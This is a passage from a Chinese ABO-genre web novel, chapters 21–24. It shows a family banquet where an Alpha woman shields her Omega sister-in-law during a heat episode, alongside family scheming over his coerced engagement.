粉发少女横住胳膊,直接拦住。
李维京驻足,斜撇了她一眼,轻笑。
“今天是家宴,确定要当众为难我?”
“就为了你之前做的糟烂事?”
话说得轻柔,但直指痛处。
李莉莉气得脸发黑,想来不敢耽搁这一年一度的盛事,胳膊不甘不愿地放下去。
而李维京丢出车钥,给她身边人,“去泊车。”
“你敢!”
李莉莉大声咆哮,引来无数人侧目。
今日家宴,贵客不少,闻见门口这出闹剧,数人窃窃私语。
而李维京保持笑容,目光平静,一一望过去。
这女Aplha天生做领袖材料,目光与人交汇,以镇定神色抚平周遭人对目前情况的不良印象。
“要是你真听她的,就不是我弟!”
偏偏李莉莉不依不饶。
“中仁。”
收回目光,李维京看向她旁边的少年Beta,意有所指。
“你应当做个聪明人。”
李中仁,吴翠的小儿子,中庸的Beta。
为此不受家人重视。
没怎么犹豫,李中仁便笑笑道:“那等我回来,维京姐。”
李维京满意颔首,姐友弟恭一番。
随后,不看二姐李莉莉黑沉的脸色,少年扭身离去。
“你太可恶了,连我弟弟都操控。”
李莉莉从牙缝里挤出一句。
李维京只是笑。
“审时度势这回事,你不会懂。”
李莉莉这废物不是真爱护弟弟,只是想拉他一起排挤李维京。
然而家宴这种场合,李莉莉门口直接点燃矛盾,想要斗倒她,只教外人看笑话。
相对之下,李中仁就虚伪得多。
迈过门槛,李维京再不想这对姐弟。
今日来迟,不是她摆谱,而是去接嫂嫂盛莲,却扑了空。
·
李家家宴。
水晶灯下,觥筹交错,言语晏晏。
盛莲端着水酒进来。
领口蝴蝶结系得很紧,他抬手理了理,单手端着酒水盘往人群走。
客人的目光时常落在他脸上,巡游一会儿,男人低垂着眼,装作看不见。
他鞠躬、弯腰,柔声询问是否需要酒水。
把整件事变成平日的打工,就不会紧张不安。
如此安慰着自己,却在见到某个高挑的黑发背影,他驻足,不敢上前。
李维京换了发型,黑色刘海遮住额头,两边黑色长发垂落。
一种很容易毁坏美貌的锅盖头,到了她这里,却是神秘的埃及艳后,充满异域风情。
灯光洒落,像是一篷金粉洒落女人身上,冷艳四射。
躲藏在人群丛中看着,掠过无数衣香鬓影,盛莲痴痴看着。
他看着维京取下一杯香槟,郁金香杯的酒液黄水晶般剔透。
漂亮女Alpha且笑且谈,偶尔摇晃香槟,酒液搅动出的小小旋涡,快要把男人的心吸进去。
盛莲一阵头晕,不由踉跄几步。
多日没休息,他不太舒服。
酒水盘里,空杯碰撞出清脆的响声。
盛莲双手举盘子,酒水盘却无力地朝一边倾倒,酒杯也随之倒下,眼看要摔地上。
一只手捞住酒杯。
另一只手帮盛莲扶正酒水盘。
修长、骨节分明的手。
盛莲很熟悉。
小步踉跄,他碰到来人的身体。
盛莲瞬间弹起,直起身子,虚弱地喘了口气。
“嫂嫂。”
李维京单手端着酒水盘,就像在展示名贵的展品。
她厚厚的刘海齐眉,纤眉入鬓,典雅而清俊,冲淡了新发型带来的神秘冷艳之感。
女人衣着简约,一件黑色轻薄风衣之下,白衬衫黑色西裤,高腰西裤修身,愈发显腿长。
她可真美啊。
美得淡得像遥不可及的月亮。
想到这,扶着廊柱喘息的男人控制不住般,伸出了手。
柔软温热的手想要触碰这遥远又降临的月亮。
然后,他的手被抓住。
“嫂嫂?”
将酒水盘交给其他侍者,李维京捉住盛莲的手,纤眉诧异地一挑。
男人勉强抬头,眼神恍惚。
原本她过来是兴师问罪,却见盛莲脸色潮红。
“你……”
还没等她说出口,盛莲骤然挣扎着抽出手,含糊道:“是感冒。”
因为感冒,所以他才有这么多奇怪举动与想法。
抬眼,李维京看到周遭客人已经看过来,没有纠结。
她只是说送他回房休息,盛莲连连摇头,脚步虚浮地退出大厅。
李维
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京不放心,也离开宴会大厅,跟在盛莲身后。
一个走廊拐弯,突然横出一个人。
“你这种Alpha,想干嘛?!”
来者怒斥其尾随行为。
低头,高挑女人看到身高矮大半头的少年,点头道借过,然后一掌糊他脑袋上。
她知道陌生Omega误会了,但没时间解释。
“等等!你要再跟踪前面的Omega,我、我就报警了!”
被这般制住,陌生Omega也不服输,坚持嚷嚷道。
李维京不废话,掌下运力,手心脑袋如篮球,带着整个身体绕,最后被一把甩开。
“哎哟”一声,陌生Omega跌到兰花丛里。
天色刚擦黑,廊下灯火亮起,照出女人冷淡的面容。
跌进兰花丛中,陌生Omega看清她的脸,忽然睁大眼。
女人径直往前,身后的Omega说了话。
“原来,你也喜欢这种Omega啊。”
这句话,让李维京顿住脚步,回身看了他一眼。
柔和美丽的五官,依稀眼熟。
李维京疑惑地歪了歪头。
而Omega跌坐花丛,双手撑地,不满地皱眉:“我都这样了,不扶一把吗?”
“除非你解释刚才话语。”
女人双手插兜,只说了半句。
少年Omega睁大眼,气得咬唇,最终还是不情不愿地解释。
“虽然我不认识那个Omega,但是今晚听了不少他的讨论,很多人都在打听他。”
“那你认识我?”
李维京继而问道。
少年Omega咬着唇,眼神飘逸。
心有所感,李维京偏头,从某个角度看他。
低垂的睫毛,柔顺的侧脸。
记忆碎片闪现,汇成浪潮冲刷女人的脑海。
得益于记性好,安娜只提过一次的名字,从她唇边呼出。
“季成星?”
少年一下看向她,眼神亮晶晶。
不久前,李维京曾与他在酒店过夜。
·
李维京跟丢的盛莲,情况也不大好。
江南庭院,六角亭中。
四处灯火辉煌,交叠灯影落在此处,照不亮男人美丽的眉眼。
他低头站着,像是小学生罚站。
而坐着的吴翠主宰着他接下来的命运。
“是断了你母亲的治疗,还是你嫁给我那外侄,总得选一条。”
21. 第 21 章
吴翠是看着盛莲长大的。
在她眼里,他父母是烂人,又寄人篱下,除了仰仗自己这一家,毫无其他路可以选。
正如她所料,盛莲低垂着眼,没有说话。
“我外侄是远方亲戚的孩子,已经不在三代直属关系,是远得不能再远的那种。”
“所以盛莲你不需要顾忌,去见一见,见了说不定就喜欢上了。”
见势,吴翠抓紧劝说。
“可是……”
男人嗫嚅着,“我的心已经不会爱上别人了。”
这句话带给他无限勇气。
盛莲抬起头,抓握住袖口,手指抚摸到袖边纽扣。
他按压住那颗纽扣,像是按压住自己悲怆的心。
他的人生,被父母抛弃、被吴翠摆布。
这些年,他努力吞咽下这些黑色淤泥,却眼睁睁看着自己要被淹没。
唯一的一束阳光,是他爱着的那个人。
可现在,吴翠想要从他这贫瘠的土地上,再掠夺走最后的一根救命稻草。
“吴阿姨,我不能嫁给其他人。”
盛莲说着,看见吴翠满脸诧异。
他挺直背脊,灯火摇曳,纤直的阴影落在吴翠身上。
吴翠错愕大过诧异。
她可从来没想过,像奴仆一样卑微的盛莲会反抗自己。
想起收到的钱,她怒不可遏起来,直接端起石几上的茶杯砸向他。
茶水泼溅一身,所幸不烫。茶杯摔地,跌得粉碎。
“你不去也得去,去也得去!”
吴翠指着他骂,态度强硬。
“不要以为我不知道你那点心思!你想留在这里纠缠李维京!”
轰的一下,盛莲五雷轰顶般。
他霍然抬头,话还没说,脸已经兜头涨脑得红透。
“不……”
微弱的抗议,再次被吴翠打断。
“你那点龌龊心思谁不知道!”
“以前看我家佳佳受宠就贴上来,现在看李维京有点本事立刻倒贴!简直不要脸!”
“不是这样!”
盛莲大喊出声,声调高到他自己也吓到呆住,忘了接下来的话。
“你喊什么喊!”
见状,吴翠更来气,“以为李维京真会给你撑腰了!”
“她一年在这待不了三四月,更不会带你一起走!”
吴翠骂完,一屁股坐回去。
她犹不解气,微微冷笑道:“更别提你还是她口中的‘嫂嫂’了。”
一句、一句,如毒箭般,直直戳进男人的心窝。
他茫然地张了张嘴,发现自己说不出一个字来反驳,只能狠狠低下头。
吴翠的话恶意至极,更可悲的是,这就是现在的情况。
对于南城这片故土,失去祖母、父母的李维京再无留恋,漂泊如风,一年偶尔回来休息罢了。
至于带他离开,
十八岁的李维京说过,二十三岁的盛莲害怕到拒绝。
现在,二十四岁的李维京不会说那句话了,再也不会。
忘了自己是怎么离开的,盛莲失魂落魄地走着。
前厅喧闹离得很远很远,与之无关,男人只是走着,漫无目的。
身体疲乏,像是一只干瘪气球不情不愿地被拖着走。
无意间撞到人,砰的一声,盛莲摔倒在地,宛如气球彻底漏气。
“抱歉……”
男人垂首,喃喃道歉。
“盛莲?”
听见叫他,男人没有抬头。
他跌在地上,失去力气站起来。
盛莲脑子嘈杂到嗡嗡作响,像是频频杂音的音响。
左边的声音在说:原来你的暗恋众所周知,真可笑,不是么;
右边的声音则说:你为此感到羞愧到想死也是应该的,因为你压根不配得到李维京的爱。
李中仁看着这个所谓的“姐夫”,叹了口气,伸出手拉了他一把。
“起来吧。”
“维京姐刚才还念叨你。”
低下的脑袋微微一动。
盛莲依言抬手,借助李中仁的力量站起身来。
他轻声道谢。
李中仁领着他往前处休憩的小亭走,唤来仆人端茶上来,递给他。
“看你精神不济的,喝点热茶吧。”
说着,他把茶揣到男人手中。
盛莲接住,却没有掀盖饮半口。
少年时,他被李莉莉李中仁姐弟捉弄无数次,不信他们。
见状,李中仁再次叹气。
“小时候不懂事,跟着莉莉姐欺负你。现在我长大了,不会那么做了。”
“要是不信,我把茶喝光。”
他作势抢回茶杯,饮了一大口,吞咽下去。
盛莲有些嫌弃喝过的茶,但见他如此自证,却不过情面,只得仰脖饮尽。
温热的茶水苦涩、回甘。
像是他从前的暗恋。
这一切,已经像是被台风摧拉枯朽般崩坏。
盛莲脑袋嗡嗡的,被左右声音影响到无法思考。
他唯有寻求最可靠的安慰。
“维京她,在哪?”
男人轻声问道。
“她在前面的风波亭,跟个Omega有说有笑的。”
“不愧是维京姐,就是受欢迎。”
Beta男李中仁语气无比艳羡。
咣当一声,茶杯跌落。
四分五裂,仿佛盛莲破碎之心。
·
“哪怕不是Omega,我嫂嫂也会受欢迎。”
风波亭,晚风吹,女人抬手把一缕飘散的鬓发撩在耳后。
“好啦,李维京。”
季成星瘪嘴,满脸不服,
“要不是你认他是嫂嫂,我会以为你其实喜欢他。”
撩发的手一顿。
李维京偏头认真想想,还是维持原本念头,否认:“那倒不会。”
“还想那么久?”
“看来有认真想过!”
季成星吐槽。
“与你无关。这是我和嫂嫂两人的事。”
李维京说得云淡风轻。
季成星瞪大眼。
他长得眉目秀美,皮肤白皙,楚楚可怜,多得是人追。
偏偏吃李维京的疏离淡漠。
“何况你和你表姐安娜还联手骗我。”
女人微微一笑。
灯火模糊,她纤眉一挑,冷艳又冷淡。
像是一道横亘寒塘之上的冷月。
季成星眼睛瞪得更大。
“我、我……”
“安娜表姐是我远房不能再远房的亲戚,她不是故意骗你的!”
少年胡乱分辨,女人扬眉,意味不明地笑了一声,步出风波亭。
原来少年季成星不是无关人士,他是周安娜的某个远房亲戚。
从表姐安娜那里听了李维京无数逸闻,心生仰慕,所以才有了那么一晚。
少年人啊,头脑一发热,就不管不顾。
李维京回顾从前,发现自己十八岁时陡然长大,再无任性。
连那时机场邀嫂嫂盛莲走,也不是一时起意,只是落了空。
对此她也不遗憾。
她只是需要有一个家的感觉。
事后想想,把家的感觉寄托在嫂嫂盛莲身上,也不过是一种软弱。
所以很快放弃。
晚风拂过女人盖着的刘海,露出柳眉。
灯光打上去,宛如水晶绝句轻叩额头。
季成星主动跟在身边,扭脸看她,忍不住痴迷。
谁会不爱这样漂亮又强大的女Alpha呢。
可是,因为她如此漂亮强大,爱这回事,也就看得淡了。
短短相处,季成星已经明白。
可他就是不甘心。
“你还要回晚宴?回去有什么好的?”
少年Omega没话找话。
“是啊,没什么好的。”
女Alpha漫声答道,脚步不停。
季成星愈发不解,看着女人大步往前,只得小跑跟着。
夜间花木扶疏,成了天然屏风。
绕开这道屏风,就能抵达大厅的偏门,到拐弯处,女人忽地停住脚步,回首看去。
“怎么了?”
季成星擦擦额上细汗,仰脸问她。
女人张望一番,道没事。
低头看着身边少年Omega,她笑道:“等会请你看出好戏。”
待他追问,女人笑笑不说话,脚步步入偏门,踏进大厅内。
她鼻尖掠过一丝熟悉的甜香,须臾消散,疑心是错觉。
等两人消失在花木屏风后,盛莲才从藏匿的角落现身。
嗡鸣的脑海,如掉帧般,缓缓播放刚才那一幕。
维京低头,对仰脸的少年笑着说话,笑容轻松愉快。
“那个他,就是那次的……”
说到这,盛莲痛苦到无法说下去。
从李中仁那里,他了解到,眼前的Omega绝非路人,而是与维京在酒店共度一夜的少年。
光是想想,盛莲就要濒临崩溃。
嗡鸣的脑海,骤然一断。
空白。
白茫茫的空白。
盛莲跟了上去。
已是深夜,晚宴进行
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得差不多。
掌权的老一辈或离去,或转入客房谈论私人事宜,留下的都是精力旺盛的年轻二代们。
李维京一登场,便受到热烈欢迎。
南城的年轻一辈,多少与李家沾亲带故。
虽然没人认同现在的当家吴翠,但多数人都被长辈耳提命面:多跟李维京接触。
他们多数也是Alpha,最服从强弱法则,李维京的信息素强势霸道,优于众人。
何况女人聪明漂亮,一旦有心搞人际关系,言笑晏晏间,便惹得众人臣服。
年轻一辈玩真心话大冒险,抽到李维京。
“维京,你的理想型是?”
李维京面色酡红,一撩长发,露出水汪杏眼。
她香槟饮得多,状态微醺。
醉酒的她不慌不忙,举起手指。
手指如瞄准的子弹,任谁被指到,心脏都喜悦一跳。
而李维京的目光已经有了方向。
一双水汪汪的杏眼,盯着人群边缘的那人。
男人从头到脚,西装裤白衬衫裹得严实。
眼皮垂下的小红粒,越发冷淡。
今晚宴会,女人的目标就是他。
指头一点,点出男人来。
“就他。”
男人眼皮低垂,上面米痣红如胭脂。
李维京则笑得眉眼弯弯。
“理想型是——我嫂嫂。”
众人哄堂大笑,认定又是维京一个绝佳的玩笑。
李维京也笑。
她要当众宣示对盛莲的特别。
不为其他,只为了保他在此平安。
季成星的话告诉了她一个讯息:盛莲是惹多数人觊觎的Omega。
作为她唯一认可的亲人,李维京自然保护他。
宴会熙攘热闹,男人盛莲悄然抬眼,追寻李维京的目光。
他暗自吐气,按下刚才雀跃如鼓擂的过度心跳。
仿佛喝酒断片,他忘了自己来到这里的目的。
该给维京准备醒酒汤了。
基于本能地,盛莲想到,行动起来。
转身,他匆匆离去。
连那说不清的遗憾与不甘,一并抛在脑后。
可周遭客人三两放下酒杯,鼻尖轻嗅。
一股甜蜜柔软的气息,悄悄弥漫开来。
很快,人们窃窃私语,话语如涟漪般荡开,扩大不安状况。
盛莲脑袋也渐渐昏沉,退到角落,无力地靠着廊柱,想要多看维京一眼。
鼻尖微动,李维京放下手指。
那熟悉的味道,又回来了。
“谁的信息素?”
有人小声询问。
周围人茫然不知,面面相觑,而女Alpha已经借口急事,大步寻去。
熟悉的气息,致命的甜蜜。
今晚她遍寻不获,终于遇到这味道的主人。
她要好好询问他为什么失约。
说好一起来家宴,他却不接电话爽约,提前来到这里。
说实话,李维京很生气。
现在这甜蜜的味道肆虐,像是藤蔓生长,她更生气。
后者的生气,没有理由。
高挑的女人伸长脖颈,四处张望,很快循到人。
男Omega倚靠角落的廊柱,无力垂首。
拨开人群,女人道声借过,迎过去。
盛莲低着头,额角的两簇刘海被汗打湿。
“嫂嫂?”
逐渐失调的体温中,盛莲勉强听见有人喊。
他抬起头,眼神朦胧。
李维京深吸一口气。
一袭黑色燕尾服裹紧了盛莲的身体,从喉咙到脚踝全被包裹,散发着致命的禁欲诱惑。
因Oomega易感期,盛莲此时抬眼,眼睛水光莫名湿润。
领口红色蝴蝶结更是恰到好处地抵在他下颌处,衬得他整个人像礼物,只等被拆开。
美色当前,女Alpha微怔。
下一秒,她已经闻见有陌生信息素探过来,如鬼魅般想要捉住Omega的脚踝。
李维京醒神过来,凛冽的冬雪玫瑰味道如寒风般,强势而不讲道理地闯进来,镇住那些不知死活的信息素试探。
强大的Alpha,强大的信息素,本就在食物链顶级。
在场不少人本能地撤退,距离李维京周遭三丈远。
凭借信息素震慑住不少心怀歹意的人,李维京忙用大衣罩住盛莲。
盛莲勉力抬头。
黑色的大衣落下来,遮住他头顶。
冰雪玫瑰的味道盖住男人身上的甜蜜柔软。
陌生又安心的黑暗。
22. [锁] [此章节已锁]
盛莲神情恍惚,额发汗涔涔的。
整个人也浸润在汗水与信息素之中,甜蜜又水润,像颗熟透的水蜜桃。
男人露出的一截锁骨凹凸纤细,展开来,像是水蜜桃破掉的皮,汁水丰沛,教人想咬上一口。
握着湿毛巾的手一顿,紧了紧,抬起,轻轻擦拭男人额上、脸上的汗水。
男人的手勉力抬起,握住擦拭自己额头的手。
房间里开着一盏小夜灯,橘色暖光敷在男人面容,敛去他平日美丽到失真的容光,只有易折的脆弱。
在光里,最亮的还是盛莲的眼睛。
“维京。”
他唤道。
半小时前,在客厅一片骚动的阴影中,李维京霸道地护住信息素暴走的Omega。
用一件风衣裹住他,她半背半扶把他送到二楼的客房。
李维京没有回答。
挤出湿巾些许的水,她继续擦拭男人脸上的汗水。
于是盛莲不再肯定。
刚才信息素泛滥,弄得他犹在梦中,身体乏力、脑子恍恍惚惚。
一会儿,他觉得维京就在身边,一会儿,又觉得维京远在天边。
目光落在房间门口的衣架,黑色风衣挂在那里,遗留着信息素冰雪的花香。
垂眸,他捧着女人手掌,鼻尖轻动,嗅不到一丝气息。
连梦境都这样残酷,不肯给自己留下心爱女Alpha的气味。
豆大的眼泪不断掉落,落在女人的掌心。
李维京唉了声,捧着泪珠抬手,玩笑道:“这是哭了,还是棉花糖味的眼泪。”
盛莲的信息素近似棉花糖,柔软又甜蜜。
快三十岁的人了,信息素却萌萌甜甜,像个小孩子。
被这般开玩笑,平时的盛莲便也收敛。
可是他是在梦里,又受了信息素激荡的影响,眼泪止不住。
Omega的信息素,如涟漪般回荡在整个房间。
李维京下意识轻叩腕间的抑制剂手表。
作为成年人,她自信控制力。
可面对盛莲这般Omega,哭得梨花带雨,很难不受影响。
唉以后禁止安娜开得那些没分寸的玩笑。
正要收手,却见盛莲伸舌,舔了舔女人掌心的眼泪。
柔嫩的舌尖,如秋千般荡过略带薄茧的掌心。
下一秒,女人的手掌条件反射地握住,掌中泪从指缝溢出。
偏偏男人神情恍惚,眼神懵懂。
“甜的。”
他说道。
语调黏糊,带着哭过的痕迹。
简直不要太可爱。
砰的一下,李维京霍然起身。
她攥住拳,更多丰沛的液体从指缝流出。
而眼前男人仰头看着她。
橘黄的暖光下,他脖颈修长,光滑紧致,神情是孩童的信赖。
此时,一个成年人的身体藏着如此稚弱的灵魂。
这只会诱发女Alpha心底阴暗的一面。
手抚着他下巴,女人低睫,不轻不重地捏了下。
美丽修长的脖颈,是上好的白釉长颈瓶那段曼妙弧度。
想必也有瓷器无暇的,手感。
“砰、砰、砰。”
醒神过来,李维京即刻缩回手。
侧耳一听,她借口外面有敲门声离开床畔。
抚摸过下巴的食指与大拇指,下意识合拢。
到了这个时候,素来心思周全的女人,才后知后觉起来。
哪怕戴着抑制剂手表,一个Alpha跟发情的Omega待在一起,好像也太不好了。
打开门,门口站着的人,是李中仁。
Beta相貌清秀,表情担忧。
“维京姐,没事吧?”
“听我姐说,盛莲他信息素暴走,差点酿成大事故。”
李维京双手抱胸,整个人挡在门口,阻止男Beta往里窥探的眼神。
“没什么大事。”
“与其担心我嫂嫂,不如担心你妈操办的这场晚宴。现在楼下大厅情况不好,你该去帮帮忙。”
她语气不咸不淡,三言两语打发李中仁。
李中仁不想走,赖在原地不动。
高挑的女人垂眸,目光平静地盯着他。就这样盯了他一会儿,男Beta扛不住无形的精神压力,还是走了。
女人缓缓合上门,转身,却不见嫂嫂。
床上只有一块凸起的白色被褥,像是一处白色墓碑。
被这死亡的联想无端攥住心脏,女人快步上前,一把掀开被褥。
暖黄灯光里,他仰头看着她,白纱披挂在他脑后,红色情潮抹匀Omega露出的每处肌肤,像白色嫁纱。
女人倒吸一口凉气,退后一步,被脚下掉落的燕尾服外套绊住。
Omega就这样看着她,看着自己那隐秘的愿望。
吴翠他们以为自己是在攀附李维京,以为这是
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一个弱势Omega生存的方式。
然而,更疯狂。
他在爱着李维京。
以盛莲的心爱着,以嫂嫂的名义爱着。
“更别提你还是她口中的‘嫂嫂’了。”
吴翠说的话,再次响在脑海。
盛莲咬住唇,泪盈于睫。
难道他不知道吗?
维京一口一个嫂嫂,是把他钉死在家人、长辈的身份。
散落的廉价黑燕尾服像是他的壳,褪去包裹的壳,他终于露出那孱弱美貌之下的疯狂野心。
信息素催发他的狂乱,盛莲一把扯下虚假的花纱,起身跪在床上,伸出手捉住女人的手。
“维京。”
“我想要你,标记我。”
他仰头说这话,眼中残留泪光,十分动人。
李维京没有办法第一时间拒绝。
一次又一次的请求,现在连拒绝都要坚决的意志。
目光落在他光滑的颈后,Omega的腺体若隐若现,明晃晃的勾////引。
女人没动。
良久,她长叹一声,抬手抚摸男人扬起的脸颊,用大拇指揩去他的眼泪。
“嫂嫂……”
“不要叫嫂嫂。”
盛莲连连摇头,想要捉住女人的手任自己引导。
女人挣脱,神态却不轻松。
光的阴影处,杏仁眼黑洞洞的。
“盛莲,不要任性。”
再这样下去,作为Alpha的她可是被小瞧了。
哪怕是Omega的易感期,再三引诱,李维京再有自制力,那也是在压制Alpha天性。
说着,她犹自不解气,手往下,抚摸着那纤弱优美的脖颈。
如她所料,光滑无暇,如瓷。
手指搭在脖颈,指腹略带薄茧,随意往下抚摸,动作漫不经心。
触感带来的些许酥麻,让男人身体酥软,身心全然浸泡在这场无目的的逗弄。
他是有点贱的。
盛莲不无自嘲地想,下一秒,感官跟着手指走,感受到四根手指搭在自己敏感腺体上。
男人忍不住吞咽。
手指轻搭,随手按住那凸起的敏感腺体。
女Alpha的手指沾染一点信息素,是不知何时盛开的冰雪玫瑰。
男人身体骤然发抖,抖得不成样。
半晌,他呜咽一声,颤巍巍地抬起头。
“……湿了,维京。”
23. 第 23 章
残存的冰雪玫瑰味道,遗在男人颈后的腺体。
女人霍然睁大眼睛。
因为男人敏感的话语,也因自己鼻尖再次飘逸着甜软的味道。
似有若无,若角落的花香。
李维京只觉很烦。
她猛地抽出手,扬手甩掉上面的泪渍。
泪珠溅落,无意间落在盛莲脸上,冰凉。
Omega再次咬住唇,不敢出声。
李维京几步走到窗边,用衣兜里的湿巾擦手。
昏暗的橘光,盛莲沉默地看着女人的动作,他没有动,脸颊溅落的眼泪缓缓淌下。
然而,他满脸僵硬,没有眼泪。
刚才是一念欢愉,现在却要面对这难以收场的局面。
女人弯腰随手丢弃掉湿巾,额发遮盖的刘海微斜,露出是略略舒展的柳眉。
细致观察着,盛莲眼光闪烁,蠕动嘴唇几下,终于小心翼翼地吐出一句。
“你……讨厌我了吗?”
被如此问道,李维京愣住。
她长吁一声,尽量把刚才的事抛在脑后,整理复杂心绪,摇头。
“不,我只是讨厌事情超出自己的控制。”
“而盛莲你总是在这种事。”
最后一句,李维京面色复杂。
心知不该说出来,可她还是说出来。
她想,大约是信息素泄露的缘故。
盛莲不知她心中的推脱,听了话,微怔。
怔忪的时间有点长,最后他垂下头:“抱歉。”
“没什么好抱歉的。”
李维京皱起眉。
不知道何时起,她跟盛莲怎么变得这般古怪。
她要的亲人关系,可不是如此。
盛莲垂着头,不说话。
扯下的白色床单一半床上,一半流淌到地下。
女人长叹一口气,
“我希望我们彼此坦诚。”
蠕动嘴唇许久,盛莲还是没说话。
信息素涌动着,得不到安抚,气氛又僵持得可怕,他就这么硬生生熬着。
从前遇到糟糕的事,盛莲边硬着头皮干熬,边在心里祈祷:会过去的,见到维京就好了。
可现在,是维京和他之间的僵局。
维京希望他坦诚。
那他该说母亲几十万上百万的医疗费,自己已经负荷不起,苦苦支撑罢了;
还是说,他那隐秘的求而不得。
说出来……
忽然间,男人低笑一声。
安静昏暗的房间,这声笑格外突兀。
“该说的事情,我已经表露得很明白。”
盛莲慢慢抬起头,看着维京。
这一刻,他甚至有些恨她。
除了没有宣之于口,自己表露出来的举止言辞,她就没有一点点怀疑过吗?
仅仅是,仅仅是,
他是她嫂嫂?
眼眶再次泛泪。
这次不是信息素主导,而是心中交织的爱恨冲撞而起。
“我怎么可以这么……”
短促的哭声,打断自己的话,盛莲泪眼模糊。
他怎么可以这么饥渴难耐、不知廉耻地,想要维京爱自己。
明明、明明知道,不可能。
男人弯腰,胳膊撑在一片狼藉的床上。
他拱起的脊背,颤抖着,泣不成声,整个人像是张不堪负荷要断裂的弓。
李维京歪着头,充满疑惑。
她只是想要坦诚,怎么激起嫂嫂盛莲这般情绪起伏。
他的秘密,这么可怕?
想到这,女Alpha脸色渐渐严肃起来。
待要走过去,门外再响起敲门声。
李维京置之不顾,走向盛莲,盛莲却只管埋头呜咽,身上甜蜜柔软的味道愈发浓重。
作为女Alpha,李维京不得不退后几步,扬手挥去这萦绕不散的味道。
随着盛莲起伏不定的情绪,他的信息素再次蔓延开来。门外似乎也有感觉,敲门声愈发急促。
Omega浓郁的味道,让李维京狠狠咬牙,重重研磨牙齿。
忽地一下,她心头火苗也窜得老高。
蹬蹬蹬跑到窗户旁,她猛地开窗,深夜寒风蛮不讲理地闯进来。
凛冽的夜风洗荡,冲淡甜蜜的信息素。
压下心底无名火,李维京再来到床边,淡淡道:“别哭了,门外有人来。”
她递上纸巾,见盛莲低头不肯接过,便弯腰放在床边。
门外敲门声不断。<
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p>站了一小会儿,盛莲低声啜泣不停,李维京抬手,用手揉了下他脑袋。
动作一出,两人俱是愣住。
盛莲猛地抬头,女人则神情呆滞。
鬼使神差地,她再次揉了把男人的脑袋,再收回手,佯装淡定地走到门口。
深呼吸一下,盖住自己内心强忍住的尴尬,李维京迅速调整好状态,打开门。
门外,还是李中仁。
去而复返的男Beta瞟了眼门后,女Alpha挡住门后,教他看不见里面一点情形。
他不甘地收回眼,撞上女人似笑非笑的表情。
“维京姐。”
男Beha审时度势,叫得嘴甜。
“有个叫季成星的Omega找你。”
他往前倾身,说出李维京无法拒绝的话,
“季成星说,他手上有你想要了解的消息。”
“现在去?”
李维京不带表情地问,得到Beta肯定的回复。
季成星跟她没话题。
但是那少年迷恋她,会为了她感兴趣的东西付出努力。
而在他面前,李维京有意表现得只对盛莲的事有兴趣。
对此,她不觉得自己可鄙。
用最不可能的人选逼退她不喜欢的仰慕者,不过如此。
季成星想要吸引她的注意力,只有找到盛莲的秘密。
沉吟一刻,李维京做出决定。
她关上门,咔的一下,从外锁住门,把自己与李中仁关在外面。
“屋内只有盛莲,不太好吧?”
李中仁脱口而出。
高挑的女人眼皮轻垂,从上往下地看着他。
“不劳你操心,等会我找管家照顾他。”
管家是个Beta,而且年老以后,性征器官衰退到无用。
这样的人,李维京才能放心把盛莲交付过去。
至于眼前这个心怀鬼胎的李中仁,她不会信。
说着话,她取走门锁钥匙,往楼下约定地点走。
在她眼神胁迫下,李中仁也只能跟着她离开。
下楼前,他目光默默望向那道锁住的门扉,再收了回去。
不久之后。
咔的一下,盛莲的房间门,再次打开了。
24. 边城
夏日的玫瑰即将凋零。
艳丽的花瓣,逐渐成了枯萎的灰。
一根修长的手指伸出来,轻轻戳了下衰败的花瓣。
它悄无声息地掉落。
“您婚礼上要订的玫瑰花树,样式已经备好,请过目。”
闻声,女人转头,看见面生的女孩递来图纸。
还未开口,跟上来的老板即刻冲过来,夺过女孩手中图纸,强压着她脑袋道歉。
“抱歉,李女士!”
“这女孩新来的,不懂事,乱说话,等会我就把她开了!”
这家是连锁花店,多年来老板跟李维京时有合作。
他此刻反应并不过激,因为不能得罪李女士这种大客户。
高挑女人目光轻垂。
从她的视线,看见被压下脑袋的女孩小半张脸。
小小的一张脸,充满着做错事的困窘、绝望、手足无措。
这表情,她已经见过一次。
李维京开了口:“做错事很正常,别过分自责。”
她要老板不会开除小女孩。
老板哈腰点头,务必遵守承诺。
女人这才收下他递来的图式。
展开来,她忽然低笑一声。
“这不是我婚礼。”
抬眸,看着对面女孩懵懂面孔,以及老板悔恨到恨不得原地消失的表情,女人慢悠悠地开口。
“是我嫂,啊不前嫂嫂的订婚宴。”
说完,她笑了笑,笑容难免讥讽。
·
订婚宴当日,李维京没有去,只送去贺礼。
至于送去的玫瑰花树,她没见过实物,后续在安娜传来的视频看到。
怒放的夏日玫瑰,扎成两米的花树。
每个枝干每束枝芽,都是盛开的玫瑰,修剪得当,整个树冠都是艳烈的红色,像是开满花的玫瑰星球。
热烈的花朵,开在这个盛夏。
关于订婚宴的视频,她后来也看到了。
视频里,美貌Omega寡言,低垂着眼,让人捉住手,戴上戒指。
戒指有点大,戴在指上来回荡。细瘦的手指,如此更伶仃。
订婚的地方是在郊区的露天广场。
风很大,吹得盛莲单薄衬衫抖抖索索,像是颤着的眼泪。
可他是不哭的。
“他压根配不上你。”
电话里,季成星咬牙切齿道,替人不值。
李维京淡淡垂眸,笑了一声。
“我跟盛莲的事,不需要其他人评价。”
面对挂断的电话音,季成星瞠目结舌。
在场的周安娜一脸“我就知道”的表情。
“李维京自尊很高,不会容许别人来指摘她的错误。”
对于这远房不能再远的弟弟,周安娜话说得很透。
“那晚到底发生了什么?”
“我也不知道。”
季成星懵懵地摇头,无法回答安娜的问题。
随着几个当事人的闭口不谈,在南城,那晚的传闻越发离谱。
传闻中,那晚Omega受到侵占,不得已嫁给现在的未婚夫;又说,女Alpha玩弄了Omega,又不想负责人,将他推给其他人。
周安娜都不相信。
后者无稽之谈,前者则有个问题:李维京居然不阻止。
千思百想,她没有答案。
“要不,我们去问问李维京?”
季成星的胆大,吓得安娜一哆嗦。
“你、你真的当李维京是什么脾气好的啊?!”
见季成星一脸不信,周安娜叹口气,
“你以为这么多年,没人打过盛莲主意。”
名义上,盛莲是李家寡妇,但架不住过盛的美貌,惹人觊觎。
这些年来,却无人敢招惹他。
“几个月前,盛莲无意说起修手机时被骚扰。”
“不到一周,南城本地新闻有家手机店被打砸,恰好是盛莲去过的那家。”
“你以为这是巧合?”
季成星半信半疑,嘴巴还倔,
“那安娜姐姐,你还成天当李维京面提起盛莲。”
“我跟李维京是从小到大的朋友。她知道我只是爱看美人,行动从无越界。”
“当着她面提,总比某些背后小动作不断,最终被打断手脚的好。”
季成星一句也不爱听,扭脸嘟囔“哪有你说的那么严重”。
